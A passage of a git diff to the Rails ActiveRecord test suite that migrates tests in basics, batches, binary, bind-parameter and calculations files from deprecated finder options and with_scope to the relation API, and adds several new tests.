-        assert_equal str, topic.author_name, "The right topic should have been found by name even with name passed as Chars"
-      end
-    end
-  end
-
   def test_toggle_attribute
     assert !topics(:first).approved?
     topics(:first).toggle!(:approved)
@@ -1401,107 +1518,102 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal dev, dev.reload
   end
 
-  def test_define_attr_method_with_value
-    k = Class.new( ActiveRecord::Base )
-    k.send(:define_attr_method, :table_name, "foo")
-    assert_equal "foo", k.table_name
-  end
+  def test_switching_between_table_name
+    assert_difference("GoodJoke.count") do
+      Joke.table_name = "cold_jokes"
+      Joke.create
 
-  def test_define_attr_method_with_block
-    k = Class.new( ActiveRecord::Base ) do
-      class << self
-        attr_accessor :foo_key
-      end
+      Joke.table_name = "funny_jokes"
+      Joke.create
     end
-    k.foo_key = "id"
-    k.send(:define_attr_method, :foo_key) { "sys_" + original_foo_key }
-    assert_equal "sys_id", k.foo_key
   end
 
-  def test_set_table_name_with_value
-    k = Class.new( ActiveRecord::Base )
-    k.table_name = "foo"
-    assert_equal "foo", k.table_name
-    k.set_table_name "bar"
-    assert_equal "bar", k.table_name
+  def test_clear_cash_when_setting_table_name
+    Joke.table_name = "cold_jokes"
+    before_columns = Joke.columns
+    before_seq     = Joke.sequence_name
+
+    Joke.table_name = "funny_jokes"
+    after_columns = Joke.columns
+    after_seq     = Joke.sequence_name
+
+    assert_not_equal before_columns, after_columns
+    assert_not_equal before_seq, after_seq unless before_seq.nil? && after_seq.nil?
   end
 
-  def test_switching_between_table_name
-    assert_difference("GoodJoke.count") do
-      Joke.set_table_name "cold_jokes"
-      Joke.create
+  def test_dont_clear_sequence_name_when_setting_explicitly
+    Joke.sequence_name = "black_jokes_seq"
+    Joke.table_name    = "cold_jokes"
+    before_seq         = Joke.sequence_name
 
-      Joke.set_table_name "funny_jokes"
-      Joke.create
-    end
+    Joke.table_name    = "funny_jokes"
+    after_seq          = Joke.sequence_name
+
+    assert_equal before_seq, after_seq unless before_seq.nil? && after_seq.nil?
+  ensure
+    Joke.reset_sequence_name
+  end
+
+  def test_dont_clear_inheritnce_column_when_setting_explicitly
+    Joke.inheritance_column = "my_type"
+    before_inherit = Joke.inheritance_column
+
+    Joke.reset_column_information
+    after_inherit = Joke.inheritance_column
+
+    assert_equal before_inherit, after_inherit unless before_inherit.blank? && after_inherit.blank?
+  end
+
+  def test_set_table_name_symbol_converted_to_string
+    Joke.table_name = :cold_jokes
+    assert_equal 'cold_jokes', Joke.table_name
   end
 
   def test_quoted_table_name_after_set_table_name
     klass = Class.new(ActiveRecord::Base)
 
-    klass.set_table_name "foo"
+    klass.table_name = "foo"
     assert_equal "foo", klass.table_name
     assert_equal klass.connection.quote_table_name("foo"), klass.quoted_table_name
 
-    klass.set_table_name "bar"
+    klass.table_name = "bar"
     assert_equal "bar", klass.table_name
     assert_equal klass.connection.quote_table_name("bar"), klass.quoted_table_name
   end
 
-  def test_set_table_name_with_block
+  def test_set_table_name_with_inheritance
     k = Class.new( ActiveRecord::Base )
-    k.set_table_name { "ks" }
-    assert_equal "ks", k.table_name
+    def k.name; "Foo"; end
+    def k.table_name; super + "ks"; end
+    assert_equal "foosks", k.table_name
   end
 
-  def test_set_primary_key_with_value
-    k = Class.new( ActiveRecord::Base )
-    k.primary_key = "foo"
-    assert_equal "foo", k.primary_key
-    k.set_primary_key "bar"
-    assert_equal "bar", k.primary_key
-  end
-
-  def test_set_primary_key_with_block
-    k = Class.new( ActiveRecord::Base )
-    k.primary_key = 'id'
-    k.set_primary_key { "sys_" + original_primary_key }
-    assert_equal "sys_id", k.primary_key
-  end
-
-  def test_set_inheritance_column_with_value
-    k = Class.new( ActiveRecord::Base )
-    k.inheritance_column = "foo"
-    assert_equal "foo", k.inheritance_column
-    k.set_inheritance_column "bar"
-    assert_equal "bar", k.inheritance_column
-  end
-
-  def test_set_inheritance_column_with_block
-    k = Class.new( ActiveRecord::Base )
-    k.set_inheritance_column { original_inheritance_column + "_id" }
-    assert_equal "type_id", k.inheritance_column
+  def test_sequence_name_with_abstract_class
+    ak = Class.new(ActiveRecord::Base)
+    ak.abstract_class = true
+    k = Class.new(ak)
+    k.table_name = "projects"
+    orig_name = k.sequence_name
+    return skip "sequences not supported by db" unless orig_name
+    assert_equal k.reset_sequence_name, orig_name
   end
 
   def test_count_with_join
     res = Post.count_by_sql "SELECT COUNT(*) FROM posts LEFT JOIN comments ON posts.id=comments.post_id WHERE posts.#{QUOTED_TYPE} = 'Post'"
 
-    res2 = Post.count(:conditions => "posts.#{QUOTED_TYPE} = 'Post'", :joins => "LEFT JOIN comments ON posts.id=comments.post_id")
+    res2 = Post.where("posts.#{QUOTED_TYPE} = 'Post'").joins("LEFT JOIN comments ON posts.id=comments.post_id").count
     assert_equal res, res2
 
     res3 = nil
     assert_nothing_raised do
-      res3 = Post.count(:conditions => "posts.#{QUOTED_TYPE} = 'Post'",
-                        :joins => "LEFT JOIN comments ON posts.id=comments.post_id")
+      res3 = Post.where("posts.#{QUOTED_TYPE} = 'Post'").joins("LEFT JOIN comments ON posts.id=comments.post_id").count
     end
     assert_equal res, res3
 
     res4 = Post.count_by_sql "SELECT COUNT(p.id) FROM posts p, comments co WHERE p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id"
     res5 = nil
     assert_nothing_raised do
-      res5 = Post.count(:conditions => "p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id",
-                        :joins => "p, comments co",
-                        :select => "p.id")
+      res5 = Post.where("p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id").joins("p, comments co").select("p.id").count
     end
 
     assert_equal res4, res5
@@ -1509,145 +1621,64 @@ class BasicsTest < ActiveRecord::TestCase
     res6 = Post.count_by_sql "SELECT COUNT(DISTINCT p.id) FROM posts p, comments co WHERE p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id"
     res7 = nil
     assert_nothing_raised do
-      res7 = Post.count(:conditions => "p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id",
-                        :joins => "p, comments co",
-                        :select => "p.id",
-                        :distinct => true)
+      res7 = Post.where("p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id").joins("p, comments co").select("p.id").count(distinct: true)
     end
     assert_equal res6, res7
   end
 
-  def test_scoped_find_conditions
-    scoped_developers = Developer.send(:with_scope, :find => { :conditions => 'salary > 90000' }) do
-      Developer.find(:all, :conditions => 'id < 5')
-    end
-    assert !scoped_developers.include?(developers(:david)) # David's salary is less than 90,000
-    assert_equal 3, scoped_developers.size
-  end
-
   def test_no_limit_offset
     assert_nothing_raised do
-      Developer.find(:all, :offset => 2)
+      Developer.all.merge!(:offset => 2).to_a
     end
   end
 
-  def test_scoped_find_limit_offset
-    scoped_developers = Developer.send(:with_scope, :find => { :limit => 3, :offset => 2 }) do
-      Developer.find(:all, :order => 'id')
-    end
-    assert !scoped_developers.include?(developers(:david))
-    assert !scoped_developers.include?(developers(:jamis))
-    assert_equal 3, scoped_developers.size
-
-    # Test without scoped find conditions to ensure we get the whole thing
-    developers = Developer.find(:all, :order => 'id')
-    assert_equal Developer.count, developers.size
-  end
-
-  def test_scoped_find_order
-    # Test order in scope
-    scoped_developers = Developer.send(:with_scope, :find => { :limit => 1, :order => 'salary DESC' }) do
-      Developer.find(:all)
-    end
-    assert_equal 'Jamis', scoped_developers.first.name
-    assert scoped_developers.include?(developers(:jamis))
-    # Test scope without order and order in find
-    scoped_developers = Developer.send(:with_scope, :find => { :limit => 1 }) do
-      Developer.find(:all, :order => 'salary DESC')
-    end
-    # Test scope order + find order, order has priority
-    scoped_developers = Developer.send(:with_scope, :find => { :limit => 3, :order => 'id DESC' }) do
-      Developer.find(:all, :order => 'salary ASC')
-    end
-    assert scoped_developers.include?(developers(:poor_jamis))
-    assert ! scoped_developers.include?(developers(:david))
-    assert ! scoped_developers.include?(developers(:jamis))
-    assert_equal 3, scoped_developers.size
-
-    # Test without scoped find conditions to ensure we get the right thing
-    assert ! scoped_developers.include?(Developer.find(1))
-    assert scoped_developers.include?(Developer.find(11))
-  end
-
-  def test_scoped_find_limit_offset_including_has_many_association
-    topics = Topic.send(:with_scope, :find => {:limit => 1, :offset => 1, :include => :replies}) do
-      Topic.find(:all, :order => "topics.id")
-    end
-    assert_equal 1, topics.size
-    assert_equal 2, topics.first.id
-  end
-
-  def test_scoped_find_order_including_has_many_association
-    developers = Developer.send(:with_scope, :find => { :order => 'developers.salary DESC', :include => :projects }) do
-      Developer.find(:all)
-    end
-    assert developers.size >= 2
-    for i in 1...developers.size
-      assert developers[i-1].salary >= developers[i].salary
-    end
-  end
-
-  def test_scoped_find_with_group_and_having
-    developers = Developer.send(:with_scope, :find => { :group => 'developers.salary', :having => "SUM(salary) > 10000", :select => "SUM(salary) as salary" }) do
-      Developer.find(:all)
-    end
-    assert_equal 3, developers.size
-  end
-
   def test_find_last
-    last  = Developer.find :last
-    assert_equal last, Developer.find(:first, :order => 'id desc')
+    last  = Developer.last
+    assert_equal last, Developer.all.merge!(:order => 'id desc').first
   end
 
   def test_last
-    assert_equal Developer.find(:first, :order => 'id desc'), Developer.last
+    assert_equal Developer.all.merge!(:order => 'id desc').first, Developer.last
   end
 
   def test_all
     developers = Developer.all
-    assert_kind_of Array, developers
-    assert_equal Developer.find(:all), developers
+    assert_kind_of ActiveRecord::Relation, developers
+    assert_equal Developer.all, developers
   end
 
   def test_all_with_conditions
-    assert_equal Developer.find(:all, :order => 'id desc'), Developer.order('id desc').all
+    assert_equal Developer.all.merge!(:order => 'id desc').to_a, Developer.order('id desc').to_a
   end
 
   def test_find_ordered_last
-    last  = Developer.find :last, :order => 'developers.salary ASC'
-    assert_equal last, Developer.find(:all, :order => 'developers.salary ASC').last
+    last  = Developer.all.merge!(:order => 'developers.salary ASC').last
+    assert_equal last, Developer.all.merge!(:order => 'developers.salary ASC').to_a.last
   end
 
   def test_find_reverse_ordered_last
-    last  = Developer.find :last, :order => 'developers.salary DESC'
-    assert_equal last, Developer.find(:all, :order => 'developers.salary DESC').last
+    last  = Developer.all.merge!(:order => 'developers.salary DESC').last
+    assert_equal last, Developer.all.merge!(:order => 'developers.salary DESC').to_a.last
   end
 
   def test_find_multiple_ordered_last
-    last  = Developer.find :last, :order => 'developers.name, developers.salary DESC'
-    assert_equal last, Developer.find(:all, :order => 'developers.name, developers.salary DESC').last
+    last  = Developer.all.merge!(:order => 'developers.name, developers.salary DESC').last
+    assert_equal last, Developer.all.merge!(:order => 'developers.name, developers.salary DESC').to_a.last
   end
 
   def test_find_keeps_multiple_order_values
-    combined = Developer.find(:all, :order => 'developers.name, developers.salary')
-    assert_equal combined, Developer.find(:all, :order => ['developers.name', 'developers.salary'])
+    combined = Developer.all.merge!(:order => 'developers.name, developers.salary').to_a
+    assert_equal combined, Developer.all.merge!(:order => ['developers.name', 'developers.salary']).to_a
   end
 
   def test_find_keeps_multiple_group_values
-    combined = Developer.find(:all, :group => 'developers.name, developers.salary, developers.id, developers.created_at, developers.updated_at')
-    assert_equal combined, Developer.find(:all, :group => ['developers.name', 'developers.salary', 'developers.id', 'developers.created_at', 'developers.updated_at'])
+    combined = Developer.all.merge!(:group => 'developers.name, developers.salary, developers.id, developers.created_at, developers.updated_at').to_a
+    assert_equal combined, Developer.all.merge!(:group => ['developers.name', 'developers.salary', 'developers.id', 'developers.created_at', 'developers.updated_at']).to_a
   end
 
   def test_find_symbol_ordered_last
-    last  = Developer.find :last, :order => :salary
-    assert_equal last, Developer.find(:all, :order => :salary).last
-  end
-
-  def test_find_scoped_ordered_last
-    last_developer = Developer.send(:with_scope, :find => { :order => 'developers.salary ASC' }) do
-      Developer.find(:last)
-    end
-    assert_equal last_developer, Developer.find(:all, :order => 'developers.salary ASC').last
+    last  = Developer.all.merge!(:order => :salary).last
+    assert_equal last, Developer.all.merge!(:order => :salary).to_a.last
   end
 
   def test_abstract_class
@@ -1660,23 +1691,8 @@ class BasicsTest < ActiveRecord::TestCase
     assert_nil AbstractCompany.table_name
   end
 
-  def test_base_class
-    assert_equal LoosePerson,     LoosePerson.base_class
-    assert_equal LooseDescendant, LooseDescendant.base_class
-    assert_equal TightPerson,     TightPerson.base_class
-    assert_equal TightPerson,     TightDescendant.base_class
-
-    assert_equal Post, Post.base_class
-    assert_equal Post, SpecialPost.base_class
-    assert_equal Post, StiPost.base_class
-    assert_equal SubStiPost, SubStiPost.base_class
-  end
-
   def test_descends_from_active_record
-    # Tries to call Object.abstract_class?
-    assert_raise(NoMethodError) do
-      ActiveRecord::Base.descends_from_active_record?
-    end
+    assert !ActiveRecord::Base.descends_from_active_record?
 
     # Abstract subclass of AR::Base.
     assert LoosePerson.descends_from_active_record?
@@ -1699,6 +1715,10 @@ class BasicsTest < ActiveRecord::TestCase
 
     # Concrete subclasses an abstract class which has a type column.
     assert !SubStiPost.descends_from_active_record?
+
+    assert Teapot.descends_from_active_record?
+    assert !OtherTeapot.descends_from_active_record?
+    assert CoolTeapot.descends_from_active_record?
   end
 
   def test_find_on_abstract_base_class_doesnt_use_type_condition
@@ -1721,7 +1741,13 @@ class BasicsTest < ActiveRecord::TestCase
   end
 
   def test_to_param_should_return_string
-    assert_kind_of String, Client.find(:first).to_param
+    assert_kind_of String, Client.first.to_param
+  end
+
+  def test_to_param_returns_id_even_if_not_persisted
+    client = Client.new
+    client.id = 1
+    assert_equal "1", client.to_param
   end
 
   def test_inspect_class
@@ -1732,7 +1758,7 @@ class BasicsTest < ActiveRecord::TestCase
 
   def test_inspect_instance
     topic = topics(:first)
-    assert_equal %(#<Topic id: 1, title: "The First Topic", author_name: "David", author_email_address: "david@loudthinking.com", written_on: "#{topic.written_on.to_s(:db)}", bonus_time: "#{topic.bonus_time.to_s(:db)}", last_read: "#{topic.last_read.to_s(:db)}", content: "Have a nice day", approved: false, replies_count: 1, parent_id: nil, parent_title: nil, type: nil, group: nil, created_at: "#{topic.created_at.to_s(:db)}", updated_at: "#{topic.updated_at.to_s(:db)}">), topic.inspect
+    assert_equal %(#<Topic id: 1, title: "The First Topic", author_name: "David", author_email_address: "david@loudthinking.com", written_on: "#{topic.written_on.to_s(:db)}", bonus_time: "#{topic.bonus_time.to_s(:db)}", last_read: "#{topic.last_read.to_s(:db)}", content: "Have a nice day", important: nil, approved: false, replies_count: 1, parent_id: nil, parent_title: nil, type: nil, group: nil, created_at: "#{topic.created_at.to_s(:db)}", updated_at: "#{topic.updated_at.to_s(:db)}">), topic.inspect
   end
 
   def test_inspect_new_instance
@@ -1740,8 +1766,8 @@ class BasicsTest < ActiveRecord::TestCase
   end
 
   def test_inspect_limited_select_instance
-    assert_equal %(#<Topic id: 1>), Topic.find(:first, :select => 'id', :conditions => 'id = 1').inspect
-    assert_equal %(#<Topic id: 1, title: "The First Topic">), Topic.find(:first, :select => 'id, title', :conditions => 'id = 1').inspect
+    assert_equal %(#<Topic id: 1>), Topic.all.merge!(:select => 'id', :where => 'id = 1').first.inspect
+    assert_equal %(#<Topic id: 1, title: "The First Topic">), Topic.all.merge!(:select => 'id, title', :where => 'id = 1').first.inspect
   end
 
   def test_inspect_class_without_table
@@ -1761,10 +1787,18 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal "The First Topic", topics(:first).becomes(Reply).title
   end
 
+  def test_becomes_includes_errors
+    company = Company.new(:name => nil)
+    assert !company.valid?
+    original_errors = company.errors
+    client = company.becomes(Client)
+    assert_equal original_errors, client.errors
+  end
+
   def test_silence_sets_log_level_to_error_in_block
     original_logger = ActiveRecord::Base.logger
     log = StringIO.new
-    ActiveRecord::Base.logger = Logger.new(log)
+    ActiveRecord::Base.logger = ActiveSupport::Logger.new(log)
     ActiveRecord::Base.logger.level = Logger::DEBUG
     ActiveRecord::Base.silence do
       ActiveRecord::Base.logger.warn "warn"
@@ -1778,7 +1812,7 @@ class BasicsTest < ActiveRecord::TestCase
   def test_silence_sets_log_level_back_to_level_before_yield
     original_logger = ActiveRecord::Base.logger
     log = StringIO.new
-    ActiveRecord::Base.logger = Logger.new(log)
+    ActiveRecord::Base.logger = ActiveSupport::Logger.new(log)
     ActiveRecord::Base.logger.level = Logger::WARN
     ActiveRecord::Base.silence do
     end
@@ -1790,7 +1824,7 @@ class BasicsTest < ActiveRecord::TestCase
   def test_benchmark_with_log_level
     original_logger = ActiveRecord::Base.logger
     log = StringIO.new
-    ActiveRecord::Base.logger = Logger.new(log)
+    ActiveRecord::Base.logger = ActiveSupport::Logger.new(log)
     ActiveRecord::Base.logger.level = Logger::WARN
     ActiveRecord::Base.benchmark("Debug Topic Count", :level => :debug) { Topic.count }
     ActiveRecord::Base.benchmark("Warn Topic Count",  :level => :warn)  { Topic.count }
@@ -1805,10 +1839,8 @@ class BasicsTest < ActiveRecord::TestCase
   def test_benchmark_with_use_silence
     original_logger = ActiveRecord::Base.logger
     log = StringIO.new
-    ActiveRecord::Base.logger = Logger.new(log)
-    ActiveRecord::Base.benchmark("Logging", :level => :debug, :silence => true) { ActiveRecord::Base.logger.debug "Loud" }
+    ActiveRecord::Base.logger = ActiveSupport::Logger.new(log)
     ActiveRecord::Base.benchmark("Logging", :level => :debug, :silence => false)  { ActiveRecord::Base.logger.debug "Quiet" }
-    assert_no_match(/Loud/, log.string)
     assert_match(/Quiet/, log.string)
   ensure
     ActiveRecord::Base.logger = original_logger
@@ -1840,15 +1872,15 @@ class BasicsTest < ActiveRecord::TestCase
 
   def test_clear_cache!
     # preheat cache
-    c1 = Post.columns
+    c1 = Post.connection.schema_cache.columns['posts']
     ActiveRecord::Base.clear_cache!
-    c2 = Post.columns
+    c2 = Post.connection.schema_cache.columns['posts']
     assert_not_equal c1, c2
   end
 
   def test_current_scope_is_reset
     Object.const_set :UnloadablePost, Class.new(ActiveRecord::Base)
-    UnloadablePost.send(:current_scope=, UnloadablePost.scoped)
+    UnloadablePost.send(:current_scope=, UnloadablePost.all)
 
     UnloadablePost.unloadable
     assert_not_nil Thread.current[:UnloadablePost_current_scope]
@@ -1859,11 +1891,6 @@ class BasicsTest < ActiveRecord::TestCase
   end
 
   def test_marshal_round_trip
-    if ENV['TRAVIS'] && RUBY_VERSION == "1.8.7"
-      return skip("Marshalling tests disabled for Ruby 1.8.7 on Travis CI due to what appears " \
-                  "to be a Ruby bug.")
-    end
-
     expected = posts(:welcome)
     marshalled = Marshal.dump(expected)
     actual   = Marshal.load(marshalled)
@@ -1872,11 +1899,6 @@ class BasicsTest < ActiveRecord::TestCase
   end
 
   def test_marshal_new_record_round_trip
-    if ENV['TRAVIS'] && RUBY_VERSION == "1.8.7"
-      return skip("Marshalling tests disabled for Ruby 1.8.7 on Travis CI due to what appears " \
-                  "to be a Ruby bug.")
-    end
-
     marshalled = Marshal.dump(Post.new)
     post       = Marshal.load(marshalled)
 
@@ -1884,11 +1906,6 @@ class BasicsTest < ActiveRecord::TestCase
   end
 
   def test_marshalling_with_associations
-    if ENV['TRAVIS'] && RUBY_VERSION == "1.8.7"
-      return skip("Marshalling tests disabled for Ruby 1.8.7 on Travis CI due to what appears " \
-                  "to be a Ruby bug.")
-    end
-
     post = Post.new
     post.comments.build
 
@@ -1898,8 +1915,17 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal 1, post.comments.length
   end
 
+  def test_marshalling_new_record_round_trip_with_associations
+    post = Post.new
+    post.comments.build
+
+    post = Marshal.load(Marshal.dump(post))
+
+    assert post.new_record?, "should be a new record"
+  end
+
   def test_attribute_names
-    assert_equal ["id", "type", "ruby_type", "firm_id", "firm_name", "name", "client_of", "rating", "account_id"],
+    assert_equal ["id", "type", "ruby_type", "firm_id", "firm_name", "name", "client_of", "rating", "account_id", "description"],
                  Company.attribute_names
   end
 
@@ -1907,7 +1933,7 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal [], NonExistentTable.attribute_names
   end
 
-  def test_attribtue_names_on_abstract_class
+  def test_attribute_names_on_abstract_class
     assert_equal [], AbstractCompany.attribute_names
   end
 
@@ -1921,24 +1947,96 @@ class BasicsTest < ActiveRecord::TestCase
     est_key = Developer.first.cache_key
 
     assert_equal utc_key, est_key
-  ensure
-    ActiveRecord::Base.time_zone_aware_attributes = false
   end
 
   def test_cache_key_format_for_existing_record_with_updated_at
     dev = Developer.first
-    assert_equal "developers/#{dev.id}-#{dev.updated_at.utc.to_s(:number)}", dev.cache_key
+    assert_equal "developers/#{dev.id}-#{dev.updated_at.utc.to_s(:nsec)}", dev.cache_key
   end
 
   def test_cache_key_format_for_existing_record_with_nil_updated_at
     dev = Developer.first
-    dev.update_attribute(:updated_at, nil)
+    dev.update_columns(updated_at: nil)
     assert_match(/\/#{dev.id}$/, dev.cache_key)
   end
 
   def test_uniq_delegates_to_scoped
     scope = stub
-    Bird.stubs(:scoped).returns(mock(:uniq => scope))
+    Bird.stubs(:all).returns(mock(:uniq => scope))
     assert_equal scope, Bird.uniq
   end
+
+  def test_active_record_super
+    assert_equal ActiveRecord::Model, ActiveRecord::Base.active_record_super
+    assert_equal ActiveRecord::Base,  Topic.active_record_super
+    assert_equal Topic,               ImportantTopic.active_record_super
+    assert_equal ActiveRecord::Model, Teapot.active_record_super
+    assert_equal Teapot,              OtherTeapot.active_record_super
+    assert_equal ActiveRecord::Model, CoolTeapot.active_record_super
+  end
+
+  def test_table_name_with_2_abstract_subclasses
+    assert_equal "photos", Photo.table_name
+  end
+
+  def test_column_types_typecast
+    topic = Topic.first
+    refute_equal 't.lo', topic.author_name
+
+    attrs = topic.attributes.dup
+    attrs.delete 'id'
+
+    typecast = Class.new {
+      def type_cast value
+        "t.lo"
+      end
+    }
+
+    types = { 'author_name' => typecast.new }
+    topic = Topic.allocate.init_with 'attributes' => attrs,
+                                     'column_types' => types
+
+    assert_equal 't.lo', topic.author_name
+  end
+
+  def test_typecasting_aliases
+    assert_equal 10, Topic.select('10 as tenderlove').first.tenderlove
+  end
+
+  def test_slice
+    company = Company.new(:rating => 1, :name => "37signals", :firm_name => "37signals")
+    hash = company.slice(:name, :rating, "arbitrary_method")
+    assert_equal hash[:name], company.name
+    assert_equal hash['name'], company.name
+    assert_equal hash[:rating], company.rating
+    assert_equal hash['arbitrary_method'], company.arbitrary_method
+    assert_equal hash[:arbitrary_method], company.arbitrary_method
+    assert_nil hash[:firm_name]
+    assert_nil hash['firm_name']
+  end
+
+  def test_default_values_are_deeply_dupped
+    company = Company.new
+    company.description << "foo"
+    assert_equal "", Company.new.description
+  end
+
+  ["find_by", "find_by!"].each do |meth|
+    test "#{meth} delegates to scoped" do
+      record = stub
+
+      scope = mock
+      scope.expects(meth).with(:foo, :bar).returns(record)
+
+      klass = Class.new(ActiveRecord::Base)
+      klass.stubs(:all => scope)
+
+      assert_equal record, klass.public_send(meth, :foo, :bar)
+    end
+  end
+
+  test "scoped can take a values hash" do
+    klass = Class.new(ActiveRecord::Base)
+    assert_equal ['foo'], klass.all.merge!(select: 'foo').select_values
+  end
 end
diff --git a/activerecord/test/cases/batches_test.rb b/activerecord/test/cases/batches_test.rb
index 660098b9ad..cdd4b49042 100644
--- a/activerecord/test/cases/batches_test.rb
+++ b/activerecord/test/cases/batches_test.rb
@@ -27,30 +27,18 @@ class EachTest < ActiveRecord::TestCase
 
   def test_each_should_raise_if_select_is_set_without_id
     assert_raise(RuntimeError) do
-      Post.find_each(:select => :title, :batch_size => 1) { |post| post }
+      Post.select(:title).find_each(:batch_size => 1) { |post| post }
     end
   end
 
   def test_each_should_execute_if_id_is_in_select
     assert_queries(6) do
-      Post.find_each(:select => "id, title, type", :batch_size => 2) do |post|
+      Post.select("id, title, type").find_each(:batch_size => 2) do |post|
         assert_kind_of Post, post
       end
     end
   end
 
-  def test_each_should_raise_if_the_order_is_set
-    assert_raise(RuntimeError) do
-      Post.find_each(:order => "title") { |post| post }
-    end
-  end
-
-  def test_each_should_raise_if_the_limit_is_set
-    assert_raise(RuntimeError) do
-      Post.find_each(:limit => 1) { |post| post }
-    end
-  end
-
   def test_warn_if_limit_scope_is_set
     ActiveRecord::Base.logger.expects(:warn)
     Post.limit(1).find_each { |post| post }
diff --git a/activerecord/test/cases/binary_test.rb b/activerecord/test/cases/binary_test.rb
index 06c14cb108..25d2896ab0 100644
--- a/activerecord/test/cases/binary_test.rb
+++ b/activerecord/test/cases/binary_test.rb
@@ -8,11 +8,11 @@ unless current_adapter?(:SybaseAdapter, :DB2Adapter, :FirebirdAdapter)
   require 'models/binary'
 
   class BinaryTest < ActiveRecord::TestCase
-    FIXTURES = %w(flowers.jpg example.log)
+    FIXTURES = %w(flowers.jpg example.log test.txt)
 
     def test_mixed_encoding
       str = "\x80"
-      str.force_encoding('ASCII-8BIT') if str.respond_to?(:force_encoding)
+      str.force_encoding('ASCII-8BIT')
 
       binary = Binary.new :name => 'いただきます！', :data => str
       binary.save!
@@ -23,7 +23,7 @@ unless current_adapter?(:SybaseAdapter, :DB2Adapter, :FirebirdAdapter)
 
       # Mysql adapter doesn't properly encode things, so we have to do it
       if current_adapter?(:MysqlAdapter)
-        name.force_encoding('UTF-8') if name.respond_to?(:force_encoding)
+        name.force_encoding('UTF-8')
       end
       assert_equal 'いただきます！', name
     end
@@ -33,7 +33,7 @@ unless current_adapter?(:SybaseAdapter, :DB2Adapter, :FirebirdAdapter)
 
       FIXTURES.each do |filename|
         data = File.read(ASSETS_ROOT + "/#{filename}")
-        data.force_encoding('ASCII-8BIT') if data.respond_to?(:force_encoding)
+        data.force_encoding('ASCII-8BIT')
         data.freeze
 
         bin = Binary.new(:data => data)
diff --git a/activerecord/test/cases/bind_parameter_test.rb b/activerecord/test/cases/bind_parameter_test.rb
index 3652255c38..03aa9fdb27 100644
--- a/activerecord/test/cases/bind_parameter_test.rb
+++ b/activerecord/test/cases/bind_parameter_test.rb
@@ -23,6 +23,8 @@ module ActiveRecord
       @listener   = LogListener.new
       @pk         = Topic.columns.find { |c| c.primary }
       ActiveSupport::Notifications.subscribe('sql.active_record', @listener)
+
+      skip_if_prepared_statement_caching_is_not_supported
     end
 
     def teardown
@@ -30,9 +32,6 @@ module ActiveRecord
     end
 
     def test_binds_are_logged
-      # FIXME: use skip with minitest
-      return unless @connection.supports_statement_cache?
-
       sub   = @connection.substitute_at(@pk, 0)
       binds = [[@pk, 1]]
       sql   = "select * from topics where id = #{sub}"
@@ -44,9 +43,6 @@ module ActiveRecord
     end
 
     def test_find_one_uses_binds
-      # FIXME: use skip with minitest
-      return unless @connection.supports_statement_cache?
-
       Topic.find(1)
       binds = [[@pk, 1]]
       message = @listener.calls.find { |args| args[4][:binds] == binds }
@@ -54,9 +50,6 @@ module ActiveRecord
     end
 
     def test_logs_bind_vars
-      # FIXME: use skip with minitest
-      return unless @connection.supports_statement_cache?
-
       pk = Topic.columns.find { |x| x.primary }
 
       payload = {
@@ -86,5 +79,11 @@ module ActiveRecord
         logger.sql event
         assert_match([[pk.name, 10]].inspect, logger.debugs.first)
     end
+
+    private
+
+    def skip_if_prepared_statement_caching_is_not_supported
+      skip('prepared statement caching is not supported') unless @connection.supports_statement_cache?
+    end
   end
 end
diff --git a/activerecord/test/cases/calculations_test.rb b/activerecord/test/cases/calculations_test.rb
index c38814713a..40e712072f 100644
--- a/activerecord/test/cases/calculations_test.rb
+++ b/activerecord/test/cases/calculations_test.rb
@@ -1,5 +1,6 @@
 require "cases/helper"
 require 'models/company'
+require "models/contract"
 require 'models/topic'
 require 'models/edge'
 require 'models/club'
@@ -39,8 +40,8 @@ class CalculationsTest < ActiveRecord::TestCase
   end
 
   def test_type_cast_calculated_value_should_convert_db_averages_of_fixnum_class_to_decimal
-    assert_equal 0, NumericData.scoped.send(:type_cast_calculated_value, 0, nil, 'avg')
-    assert_equal 53.0, NumericData.scoped.send(:type_cast_calculated_value, 53, nil, 'avg')
+    assert_equal 0, NumericData.all.send(:type_cast_calculated_value, 0, nil, 'avg')
+    assert_equal 53.0, NumericData.all.send(:type_cast_calculated_value, 53, nil, 'avg')
   end
 
   def test_should_get_maximum_of_field
@@ -48,13 +49,7 @@ class CalculationsTest < ActiveRecord::TestCase
   end
 
   def test_should_get_maximum_of_field_with_include
-    assert_equal 55, Account.maximum(:credit_limit, :include => :firm, :conditions => "companies.name != 'Summit'")
-  end
-
-  def test_should_get_maximum_of_field_with_scoped_include
-    Account.send :with_scope, :find => { :include => :firm, :conditions => "companies.name != 'Summit'" } do
-      assert_equal 55, Account.maximum(:credit_limit)
-    end
+    assert_equal 55, Account.where("companies.name != 'Summit'").references(:companies).includes(:firm).maximum(:credit_limit)
   end
 
   def test_should_get_minimum_of_field
@@ -62,12 +57,21 @@ class CalculationsTest < ActiveRecord::TestCase
   end
 
   def test_should_group_by_field
-    c = Account.sum(:credit_limit, :group => :firm_id)
-    [1,6,2].each { |firm_id| assert c.keys.include?(firm_id) }
+    c = Account.group(:firm_id).sum(:credit_limit)
+    [1,6,2].each do |firm_id|
+      assert c.keys.include?(firm_id), "Group #{c.inspect} does not contain firm_id #{firm_id}"
+    end
+  end
+
+  def test_should_group_by_arel_attribute
+    c = Account.group(Account.arel_table[:firm_id]).sum(:credit_limit)
+    [1,6,2].each do |firm_id|
+      assert c.keys.include?(firm_id), "Group #{c.inspect} does not contain firm_id #{firm_id}"
+    end
   end
 
   def test_should_group_by_multiple_fields
-    c = Account.count(:all, :group => ['firm_id', :credit_limit])
+    c = Account.group('firm_id', :credit_limit).count(:all)
     [ [nil, 50], [1, 50], [6, 50], [6, 55], [9, 53], [2, 60] ].each { |firm_and_limit| assert c.keys.include?(firm_and_limit) }
   end
 
@@ -80,32 +84,32 @@ class CalculationsTest < ActiveRecord::TestCase
   end
 
   def test_should_group_by_summed_field
-    c = Account.sum(:credit_limit, :group => :firm_id)
+    c = Account.group(:firm_id).sum(:credit_limit)
     assert_equal 50,   c[1]
     assert_equal 105,  c[6]
